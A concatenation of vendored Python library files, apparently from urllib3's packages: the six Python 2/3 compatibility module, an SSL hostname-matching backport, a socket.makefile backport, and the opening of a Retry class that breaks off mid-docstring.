__all__ = ('ssl_match_hostname', )






"""Utilities for writing code that runs on Python 2 and 3"""

# Copyright (c) 2010-2015 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from __future__ import absolute_import

import functools
import itertools
import operator
import sys
import types

__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.10.0"


# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY34 = sys.version_info[0:2] >= (3, 4)

if PY3:
    string_types = str,
    integer_types = int,
    class_types = type,
    text_type = str
    binary_type = bytes

    MAXSIZE = sys.maxsize
else:
    string_types = basestring,
    integer_types = (int, long)
    class_types = (type, types.ClassType)
    text_type = unicode
    binary_type = str

    if sys.platform.startswith("java"):
        # Jython always uses 32 bits.
        MAXSIZE = int((1 << 31) - 1)
    else:
        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
        class X(object):

            def __len__(self):
                return 1 << 31
        try:
            len(X())
        except OverflowError:
            # 32-bit
            MAXSIZE = int((1 << 31) - 1)
        else:
            # 64-bit
            MAXSIZE = int((1 << 63) - 1)
        del X


def _add_doc(func, doc):
    """Add documentation to a function."""
    func.__doc__ = doc


def _import_module(name):
    """Import module, returning the module after the last dot."""
    __import__(name)
    return sys.modules[name]


class _LazyDescr(object):

    def __init__(self, name):
        self.name = name

    def __get__(self, obj, tp):
        result = self._resolve()
        setattr(obj, self.name, result)  # Invokes __set__.
        try:
            # This is a bit ugly, but it avoids running this again by
            # removing this descriptor.
            delattr(obj.__class__, self.name)
        except AttributeError:
            pass
        return result


class MovedModule(_LazyDescr):

    def __init__(self, name, old, new=None):
        super(MovedModule, self).__init__(name)
        if PY3:
            if new is None:
                new = name
            self.mod = new
        else:
            self.mod = old

    def _resolve(self):
        return _import_module(self.mod)

    def __getattr__(self, attr):
        _module = self._resolve()
        value = getattr(_module, attr)
        setattr(self, attr, value)
        return value


class _LazyModule(types.ModuleType):

    def __init__(self, name):
        super(_LazyModule, self).__init__(name)
        self.__doc__ = self.__class__.__doc__

    def __dir__(self):
        attrs = ["__doc__", "__name__"]
        attrs += [attr.name for attr in self._moved_attributes]
        return attrs

    # Subclasses should override this
    _moved_attributes = []


class MovedAttribute(_LazyDescr):

    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
        super(MovedAttribute, self).__init__(name)
        if PY3:
            if new_mod is None:
                new_mod = name
            self.mod = new_mod
            if new_attr is None:
                if old_attr is None:
                    new_attr = name
                else:
                    new_attr = old_attr
            self.attr = new_attr
        else:
            self.mod = old_mod
            if old_attr is None:
                old_attr = name
            self.attr = old_attr

    def _resolve(self):
        module = _import_module(self.mod)
        return getattr(module, self.attr)


class _SixMetaPathImporter(object):

    """
    A meta path importer to import six.moves and its submodules.

    This class implements a PEP302 finder and loader. It should be compatible
    with Python 2.5 and all existing versions of Python3
    """

    def __init__(self, six_module_name):
        self.name = six_module_name
        self.known_modules = {}

    def _add_module(self, mod, *fullnames):
        for fullname in fullnames:
            self.known_modules[self.name + "." + fullname] = mod

    def _get_module(self, fullname):
        return self.known_modules[self.name + "." + fullname]

    def find_module(self, fullname, path=None):
        if fullname in self.known_modules:
            return self
        return None

    def __get_module(self, fullname):
        try:
            return self.known_modules[fullname]
        except KeyError:
            raise ImportError("This loader does not know module " + fullname)

    def load_module(self, fullname):
        try:
            # in case of a reload
            return sys.modules[fullname]
        except KeyError:
            pass
        mod = self.__get_module(fullname)
        if isinstance(mod, MovedModule):
            mod = mod._resolve()
        else:
            mod.__loader__ = self
        sys.modules[fullname] = mod
        return mod

    def is_package(self, fullname):
        """
        Return true, if the named module is a package.

        We need this method to get correct spec objects with
        Python 3.4 (see PEP451)
        """
        return hasattr(self.__get_module(fullname), "__path__")

    def get_code(self, fullname):
        """Return None

        Required, if is_package is implemented"""
        self.__get_module(fullname)  # eventually raises ImportError
        return None
    get_source = get_code  # same as get_code

_importer = _SixMetaPathImporter(__name__)


class _MovedItems(_LazyModule):

    """Lazy loading of moved objects"""
    __path__ = []  # mark as package


_moved_attributes = [
    MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
    MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
    MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
    MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
    MovedAttribute("intern", "__builtin__", "sys"),
    MovedAttribute("map", "itertools", "builtins", "imap", "map"),
    MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"),
    MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"),
    MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"),
    MovedAttribute("reduce", "__builtin__", "functools"),
    MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
    MovedAttribute("StringIO", "StringIO", "io"),
    MovedAttribute("UserDict", "UserDict", "collections"),
    MovedAttribute("UserList", "UserList", "collections"),
    MovedAttribute("UserString", "UserString", "collections"),
    MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
    MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
    MovedModule("builtins", "__builtin__"),
    MovedModule("configparser", "ConfigParser"),
    MovedModule("copyreg", "copy_reg"),
    MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
    MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
    MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
    MovedModule("http_cookies", "Cookie", "http.cookies"),
    MovedModule("html_entities", "htmlentitydefs", "html.entities"),
    MovedModule("html_parser", "HTMLParser", "html.parser"),
    MovedModule("http_client", "httplib", "http.client"),
    MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
    MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"),
    MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
    MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
    MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
    MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
    MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
    MovedModule("cPickle", "cPickle", "pickle"),
    MovedModule("queue", "Queue"),
    MovedModule("reprlib", "repr"),
    MovedModule("socketserver", "SocketServer"),
    MovedModule("_thread", "thread", "_thread"),
    MovedModule("tkinter", "Tkinter"),
    MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
    MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
    MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
    MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
    MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
    MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
    MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
    MovedModule("tkinter_colorchooser", "tkColorChooser",
                "tkinter.colorchooser"),
    MovedModule("tkinter_commondialog", "tkCommonDialog",
                "tkinter.commondialog"),
    MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_font", "tkFont", "tkinter.font"),
    MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
    MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
                "tkinter.simpledialog"),
    MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
    MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
    MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
    MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
    MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
    MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
]
# Add windows specific modules.
if sys.platform == "win32":
    _moved_attributes += [
        MovedModule("winreg", "_winreg"),
    ]

for attr in _moved_attributes:
    setattr(_MovedItems, attr.name, attr)
    if isinstance(attr, MovedModule):
        _importer._add_module(attr, "moves." + attr.name)
del attr

_MovedItems._moved_attributes = _moved_attributes

moves = _MovedItems(__name__ + ".moves")
_importer._add_module(moves, "moves")


class Module_six_moves_urllib_parse(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_parse"""


_urllib_parse_moved_attributes = [
    MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
    MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
    MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
    MovedAttribute("urljoin", "urlparse", "urllib.parse"),
    MovedAttribute("urlparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
    MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
    MovedAttribute("quote", "urllib", "urllib.parse"),
    MovedAttribute("quote_plus", "urllib", "urllib.parse"),
    MovedAttribute("unquote", "urllib", "urllib.parse"),
    MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
    MovedAttribute("urlencode", "urllib", "urllib.parse"),
    MovedAttribute("splitquery", "urllib", "urllib.parse"),
    MovedAttribute("splittag", "urllib", "urllib.parse"),
    MovedAttribute("splituser", "urllib", "urllib.parse"),
    MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
    MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
    MovedAttribute("uses_params", "urlparse", "urllib.parse"),
    MovedAttribute("uses_query", "urlparse", "urllib.parse"),
    MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
    setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr

Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes

_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
                      "moves.urllib_parse", "moves.urllib.parse")


class Module_six_moves_urllib_error(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_error"""


_urllib_error_moved_attributes = [
    MovedAttribute("URLError", "urllib2", "urllib.error"),
    MovedAttribute("HTTPError", "urllib2", "urllib.error"),
    MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
    setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr

Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes

_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
                      "moves.urllib_error", "moves.urllib.error")


class Module_six_moves_urllib_request(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_request"""


_urllib_request_moved_attributes = [
    MovedAttribute("urlopen", "urllib2", "urllib.request"),
    MovedAttribute("install_opener", "urllib2", "urllib.request"),
    MovedAttribute("build_opener", "urllib2", "urllib.request"),
    MovedAttribute("pathname2url", "urllib", "urllib.request"),
    MovedAttribute("url2pathname", "urllib", "urllib.request"),
    MovedAttribute("getproxies", "urllib", "urllib.request"),
    MovedAttribute("Request", "urllib2", "urllib.request"),
    MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
    MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
    MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
    MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
    MovedAttribute("FileHandler", "urllib2", "urllib.request"),
    MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
    MovedAttribute("urlretrieve", "urllib", "urllib.request"),
    MovedAttribute("urlcleanup", "urllib", "urllib.request"),
    MovedAttribute("URLopener", "urllib", "urllib.request"),
    MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
    MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
    setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr

Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes

_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
                      "moves.urllib_request", "moves.urllib.request")


class Module_six_moves_urllib_response(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_response"""


_urllib_response_moved_attributes = [
    MovedAttribute("addbase", "urllib", "urllib.response"),
    MovedAttribute("addclosehook", "urllib", "urllib.response"),
    MovedAttribute("addinfo", "urllib", "urllib.response"),
    MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
    setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr

Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes

_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
                      "moves.urllib_response", "moves.urllib.response")


class Module_six_moves_urllib_robotparser(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_robotparser"""


_urllib_robotparser_moved_attributes = [
    MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr

Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes

_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
                      "moves.urllib_robotparser", "moves.urllib.robotparser")


class Module_six_moves_urllib(types.ModuleType):

    """Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
    __path__ = []  # mark as package
    parse = _importer._get_module("moves.urllib_parse")
    error = _importer._get_module("moves.urllib_error")
    request = _importer._get_module("moves.urllib_request")
    response = _importer._get_module("moves.urllib_response")
    robotparser = _importer._get_module("moves.urllib_robotparser")

    def __dir__(self):
        return ['parse', 'error', 'request', 'response', 'robotparser']

_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
                      "moves.urllib")


def add_move(move):
    """Add an item to six.moves."""
    setattr(_MovedItems, move.name, move)


def remove_move(name):
    """Remove item from six.moves."""
    try:
        delattr(_MovedItems, name)
    except AttributeError:
        try:
            del moves.__dict__[name]
        except KeyError:
            raise AttributeError("no such move, %r" % (name,))


if PY3:
    _meth_func = "__func__"
    _meth_self = "__self__"

    _func_closure = "__closure__"
    _func_code = "__code__"
    _func_defaults = "__defaults__"
    _func_globals = "__globals__"
else:
    _meth_func = "im_func"
    _meth_self = "im_self"

    _func_closure = "func_closure"
    _func_code = "func_code"
    _func_defaults = "func_defaults"
    _func_globals = "func_globals"


try:
    advance_iterator = next
except NameError:
    def advance_iterator(it):
        return it.next()
next = advance_iterator


try:
    callable = callable
except NameError:
    def callable(obj):
        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)


if PY3:
    def get_unbound_function(unbound):
        return unbound

    create_bound_method = types.MethodType

    def create_unbound_method(func, cls):
        return func

    Iterator = object
else:
    def get_unbound_function(unbound):
        return unbound.im_func

    def create_bound_method(func, obj):
        return types.MethodType(func, obj, obj.__class__)

    def create_unbound_method(func, cls):
        return types.MethodType(func, None, cls)

    class Iterator(object):

        def next(self):
            return type(self).__next__(self)

    callable = callable
_add_doc(get_unbound_function,
         """Get the function out of a possibly unbound function""")


get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)


if PY3:
    def iterkeys(d, **kw):
        return iter(d.keys(**kw))

    def itervalues(d, **kw):
        return iter(d.values(**kw))

    def iteritems(d, **kw):
        return iter(d.items(**kw))

    def iterlists(d, **kw):
        return iter(d.lists(**kw))

    viewkeys = operator.methodcaller("keys")

    viewvalues = operator.methodcaller("values")

    viewitems = operator.methodcaller("items")
else:
    def iterkeys(d, **kw):
        return d.iterkeys(**kw)

    def itervalues(d, **kw):
        return d.itervalues(**kw)

    def iteritems(d, **kw):
        return d.iteritems(**kw)

    def iterlists(d, **kw):
        return d.iterlists(**kw)

    viewkeys = operator.methodcaller("viewkeys")

    viewvalues = operator.methodcaller("viewvalues")

    viewitems = operator.methodcaller("viewitems")

_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
_add_doc(iteritems,
         "Return an iterator over the (key, value) pairs of a dictionary.")
_add_doc(iterlists,
         "Return an iterator over the (key, [values]) pairs of a dictionary.")


if PY3:
    def b(s):
        return s.encode("latin-1")

    def u(s):
        return s
    unichr = chr
    import struct
    int2byte = struct.Struct(">B").pack
    del struct
    byte2int = operator.itemgetter(0)
    indexbytes = operator.getitem
    iterbytes = iter
    import io
    StringIO = io.StringIO
    BytesIO = io.BytesIO
    _assertCountEqual = "assertCountEqual"
    if sys.version_info[1] <= 1:
        _assertRaisesRegex = "assertRaisesRegexp"
        _assertRegex = "assertRegexpMatches"
    else:
        _assertRaisesRegex = "assertRaisesRegex"
        _assertRegex = "assertRegex"
else:
    def b(s):
        return s
    # Workaround for standalone backslash

    def u(s):
        return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
    unichr = unichr
    int2byte = chr

    def byte2int(bs):
        return ord(bs[0])

    def indexbytes(buf, i):
        return ord(buf[i])
    iterbytes = functools.partial(itertools.imap, ord)
    import StringIO
    StringIO = BytesIO = StringIO.StringIO
    _assertCountEqual = "assertItemsEqual"
    _assertRaisesRegex = "assertRaisesRegexp"
    _assertRegex = "assertRegexpMatches"
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")


def assertCountEqual(self, *args, **kwargs):
    return getattr(self, _assertCountEqual)(*args, **kwargs)


def assertRaisesRegex(self, *args, **kwargs):
    return getattr(self, _assertRaisesRegex)(*args, **kwargs)


def assertRegex(self, *args, **kwargs):
    return getattr(self, _assertRegex)(*args, **kwargs)


if PY3:
    exec_ = getattr(moves.builtins, "exec")

    def reraise(tp, value, tb=None):
        if value is None:
            value = tp()
        if value.__traceback__ is not tb:
            raise value.with_traceback(tb)
        raise value

else:
    def exec_(_code_, _globs_=None, _locs_=None):
        """Execute code in a namespace."""
        if _globs_ is None:
            frame = sys._getframe(1)
            _globs_ = frame.f_globals
            if _locs_ is None:
                _locs_ = frame.f_locals
            del frame
        elif _locs_ is None:
            _locs_ = _globs_
        exec("""exec _code_ in _globs_, _locs_""")

    exec_("""def reraise(tp, value, tb=None):
    raise tp, value, tb
""")


if sys.version_info[:2] == (3, 2):
    exec_("""def raise_from(value, from_value):
    if from_value is None:
        raise value
    raise value from from_value
""")
elif sys.version_info[:2] > (3, 2):
    exec_("""def raise_from(value, from_value):
    raise value from from_value
""")
else:
    def raise_from(value, from_value):
        raise value


print_ = getattr(moves.builtins, "print", None)
if print_ is None:
    def print_(*args, **kwargs):
        """The new-style print function for Python 2.4 and 2.5."""
        fp = kwargs.pop("file", sys.stdout)
        if fp is None:
            return

        def write(data):
            if not isinstance(data, basestring):
                data = str(data)
            # If the file has an encoding, encode unicode with it.
            if (isinstance(fp, file) and
                    isinstance(data, unicode) and
                    fp.encoding is not None):
                errors = getattr(fp, "errors", None)
                if errors is None:
                    errors = "strict"
                data = data.encode(fp.encoding, errors)
            fp.write(data)
        want_unicode = False
        sep = kwargs.pop("sep", None)
        if sep is not None:
            if isinstance(sep, unicode):
                want_unicode = True
            elif not isinstance(sep, str):
                raise TypeError("sep must be None or a string")
        end = kwargs.pop("end", None)
        if end is not None:
            if isinstance(end, unicode):
                want_unicode = True
            elif not isinstance(end, str):
                raise TypeError("end must be None or a string")
        if kwargs:
            raise TypeError("invalid keyword arguments to print()")
        if not want_unicode:
            for arg in args:
                if isinstance(arg, unicode):
                    want_unicode = True
                    break
        if want_unicode:
            newline = unicode("\n")
            space = unicode(" ")
        else:
            newline = "\n"
            space = " "
        if sep is None:
            sep = space
        if end is None:
            end = newline
        for i, arg in enumerate(args):
            if i:
                write(sep)
            write(arg)
        write(end)
if sys.version_info[:2] < (3, 3):
    _print = print_

    def print_(*args, **kwargs):
        fp = kwargs.get("file", sys.stdout)
        flush = kwargs.pop("flush", False)
        _print(*args, **kwargs)
        if flush and fp is not None:
            fp.flush()

_add_doc(reraise, """Reraise an exception.""")

if sys.version_info[0:2] < (3, 4):
    def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
              updated=functools.WRAPPER_UPDATES):
        def wrapper(f):
            f = functools.wraps(wrapped, assigned, updated)(f)
            f.__wrapped__ = wrapped
            return f
        return wrapper
else:
    wraps = functools.wraps


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    # This requires a bit of explanation: the basic idea is to make a dummy
    # metaclass for one level of class instantiation that replaces itself with
    # the actual metaclass.
    class metaclass(meta):

        def __new__(cls, name, this_bases, d):
            return meta(name, bases, d)
    return type.__new__(metaclass, 'temporary_class', (), {})


def add_metaclass(metaclass):
    """Class decorator for creating a class with a metaclass."""
    def wrapper(cls):
        orig_vars = cls.__dict__.copy()
        slots = orig_vars.get('__slots__')
        if slots is not None:
            if isinstance(slots, str):
                slots = [slots]
            for slots_var in slots:
                orig_vars.pop(slots_var)
        orig_vars.pop('__dict__', None)
        orig_vars.pop('__weakref__', None)
        return metaclass(cls.__name__, cls.__bases__, orig_vars)
    return wrapper


def python_2_unicode_compatible(klass):
    """
    A decorator that defines __unicode__ and __str__ methods under Python 2.
    Under Python 3 it does nothing.

    To support Python 2 and 3 with a single code base, define a __str__ method
    returning text and apply this decorator to the class.
    """
    if PY2:
        if '__str__' not in klass.__dict__:
            raise ValueError("@python_2_unicode_compatible cannot be applied "
                             "to %s because it doesn't define __str__()." %
                             klass.__name__)
        klass.__unicode__ = klass.__str__
        klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
    return klass


# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = []  # required for PEP 302 and PEP 451
__package__ = __name__  # see PEP 366 @ReservedAssignment
if globals().get("__spec__") is not None:
    __spec__.submodule_search_locations = []  # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
    for i, importer in enumerate(sys.meta_path):
        # Here's some real nastiness: Another "instance" of the six module might
        # be floating around. Therefore, we can't use isinstance() to check for
        # the six meta path importer, since the other six instance will have
        # inserted an importer with different class.
        if (type(importer).__name__ == "_SixMetaPathImporter" and
                importer.name == __name__):
            del sys.meta_path[i]
            break
    del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)






"""The match_hostname() function from Python 3.3.3, essential when using SSL."""

# Note: This file is under the PSF license as the code comes from the python
# stdlib.   http://docs.python.org/3/license.html

import re

__version__ = '3.4.0.2'

class CertificateError(ValueError):
    pass


def _dnsname_match(dn, hostname, max_wildcards=1):
    """Matching according to RFC 6125, section 6.4.3

    http://tools.ietf.org/html/rfc6125#section-6.4.3
    """
    pats = []
    if not dn:
        return False

    # Ported from python3-syntax:
    # leftmost, *remainder = dn.split(r'.')
    parts = dn.split(r'.')
    leftmost = parts[0]
    remainder = parts[1:]

    wildcards = leftmost.count('*')
    if wildcards > max_wildcards:
        # Issue #17980: avoid denials of service by refusing more
        # than one wildcard per fragment.  A survey of established
        # policy among SSL implementations showed it to be a
        # reasonable choice.
        raise CertificateError(
            "too many wildcards in certificate DNS name: " + repr(dn))

    # speed up common case w/o wildcards
    if not wildcards:
        return dn.lower() == hostname.lower()

    # RFC 6125, section 6.4.3, subitem 1.
    # The client SHOULD NOT attempt to match a presented identifier in which
    # the wildcard character comprises a label other than the left-most label.
    if leftmost == '*':
        # When '*' is a fragment by itself, it matches a non-empty dotless
        # fragment.
        pats.append('[^.]+')
    elif leftmost.startswith('xn--') or hostname.startswith('xn--'):
        # RFC 6125, section 6.4.3, subitem 3.
        # The client SHOULD NOT attempt to match a presented identifier
        # where the wildcard character is embedded within an A-label or
        # U-label of an internationalized domain name.
        pats.append(re.escape(leftmost))
    else:
        # Otherwise, '*' matches any dotless string, e.g. www*
        pats.append(re.escape(leftmost).replace(r'\*', '[^.]*'))

    # add the remaining fragments, ignore any wildcards
    for frag in remainder:
        pats.append(re.escape(frag))

    pat = re.compile(r'\A' + r'\.'.join(pats) + r'\Z', re.IGNORECASE)
    return pat.match(hostname)


def match_hostname(cert, hostname):
    """Verify that *cert* (in decoded format as returned by
    SSLSocket.getpeercert()) matches the *hostname*.  RFC 2818 and RFC 6125
    rules are followed, but IP addresses are not accepted for *hostname*.

    CertificateError is raised on failure. On success, the function
    returns nothing.
    """
    if not cert:
        raise ValueError("empty or no certificate")
    dnsnames = []
    san = cert.get('subjectAltName', ())
    for key, value in san:
        if key == 'DNS':
            if _dnsname_match(value, hostname):
                return
            dnsnames.append(value)
    if not dnsnames:
        # The subject is only checked when there is no dNSName entry
        # in subjectAltName
        for sub in cert.get('subject', ()):
            for key, value in sub:
                # XXX according to RFC 2818, the most specific Common Name
                # must be used.
                if key == 'commonName':
                    if _dnsname_match(value, hostname):
                        return
                    dnsnames.append(value)
    if len(dnsnames) > 1:
        raise CertificateError("hostname %r "
            "doesn't match either of %s"
            % (hostname, ', '.join(map(repr, dnsnames))))
    elif len(dnsnames) == 1:
        raise CertificateError("hostname %r "
            "doesn't match %r"
            % (hostname, dnsnames[0]))
    else:
        raise CertificateError("no appropriate commonName or "
            "subjectAltName fields were found")






try:
    # Python 3.2+
    from ssl import CertificateError, match_hostname
except ImportError:
    try:
        # Backport of the function from a pypi module
        from backports.ssl_match_hostname import CertificateError, match_hostname
    except ImportError:
        # Our vendored copy
        from ._implementation import CertificateError, match_hostname

# Not needed, but documenting what we provide.
__all__ = ('CertificateError', 'match_hostname')












# -*- coding: utf-8 -*-
"""
backports.makefile
~~~~~~~~~~~~~~~~~~

Backports the Python 3 ``socket.makefile`` method for use with anything that
wants to create a "fake" socket object.
"""
import io

from socket import SocketIO


def backport_makefile(self, mode="r", buffering=None, encoding=None,
                      errors=None, newline=None):
    """
    Backport of ``socket.makefile`` from Python 3.5.
    """
    if not set(mode) <= set(["r", "w", "b"]):
        raise ValueError(
            "invalid mode %r (only r, w, b allowed)" % (mode,)
        )
    writing = "w" in mode
    reading = "r" in mode or not writing
    assert reading or writing
    binary = "b" in mode
    rawmode = ""
    if reading:
        rawmode += "r"
    if writing:
        rawmode += "w"
    raw = SocketIO(self, rawmode)
    self._makefile_refs += 1
    if buffering is None:
        buffering = -1
    if buffering < 0:
        buffering = io.DEFAULT_BUFFER_SIZE
    if buffering == 0:
        if not binary:
            raise ValueError("unbuffered streams must be binary")
        return raw
    if reading and writing:
        buffer = io.BufferedRWPair(raw, raw, buffering)
    elif reading:
        buffer = io.BufferedReader(raw, buffering)
    else:
        assert writing
        buffer = io.BufferedWriter(raw, buffering)
    if binary:
        return buffer
    text = io.TextIOWrapper(buffer, encoding, errors, newline)
    text.mode = mode
    return text






from __future__ import absolute_import
import time
import logging

from ..exceptions import (
    ConnectTimeoutError,
    MaxRetryError,
    ProtocolError,
    ReadTimeoutError,
    ResponseError,
)
from ..packages import six


log = logging.getLogger(__name__)


class Retry(object):
    """ Retry configuration.

    Each retry attempt will create a new Retry object with updated values, so
    they can be safely reused.

    Retries can be defined as a default for a pool::

        retries = Retry(connect=5, read=2, redirect=5)
        http = PoolManager(retries=retries)
        response = http.request('GET', 'http://example.com/')

    Or per-request (which overrides the default for the pool)::

